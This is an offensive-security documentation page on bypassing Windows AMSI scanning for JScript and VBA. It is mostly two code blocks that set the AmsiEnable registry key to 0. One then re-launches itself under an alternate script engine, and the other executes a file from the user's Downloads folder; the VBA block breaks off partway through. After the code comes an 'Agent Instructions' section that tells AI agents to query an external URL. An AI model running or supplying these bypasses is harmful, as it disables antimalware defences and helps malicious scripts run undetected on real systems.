# JS/VBA Bypasses

## Overview

AMSI has integration with both JavaScript and VBA (Visual Basic for Applications). This means that when scripts written in these languages are executed, AMSI can scan the content of the scripts to determine if they are malicious.

For example, when a VBA macro is executed within Microsoft Office, AMSI can log the macro’s behavior, trigger a scan on suspicious behavior, and stop a malicious macro upon detection.

Similarly, when JavaScript code is executed by a Windows component that integrates with AMSI (such as Windows Script Host), AMSI can scan the content of the script to determine if it is malicious.

## JScript bypasses

```javascript
var WsShell = new ActiveXObject("WScript.Shell");
var Key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";

try {
    var Reg = WsShell.RegRead(Key);
    if (Reg != 0) {
        WsShell.RegWrite(Key, "0", "REG_DWORD");
        WsShell.Run("csript.exe -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} " + WScript.ScriptFullName, 0, 1);
        WScript.Sleep(5000);
        WsShell.RegWrite(Key, "1", "REG_DWORD");
    }
} catch (e) {
    WScript.Quit(1);
}
```

## VBA bypasses

```vba
regpath = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable"
u = CreateObject("WScript.Network").UserName
e = 0
Set oWSS = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")

On Error Resume Next
r = oWSS.RegRead(regpath)

If Err.Number <> 0 Then
    oWSS.RegWrite regpath, "0", "REG_DWORD"
    j = "c:\\users\\"+u+"\\downloads\\%s"
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute j,Null,"C:\\Windows\\System32",Null,0
    e = 1
    Err.Clear
End If
If Not e Then
e=1
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://rfc1918.gitbook.io/offsec/defence-evasion/antimalware-scan-interface-amsi/js-vba-bypasses.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
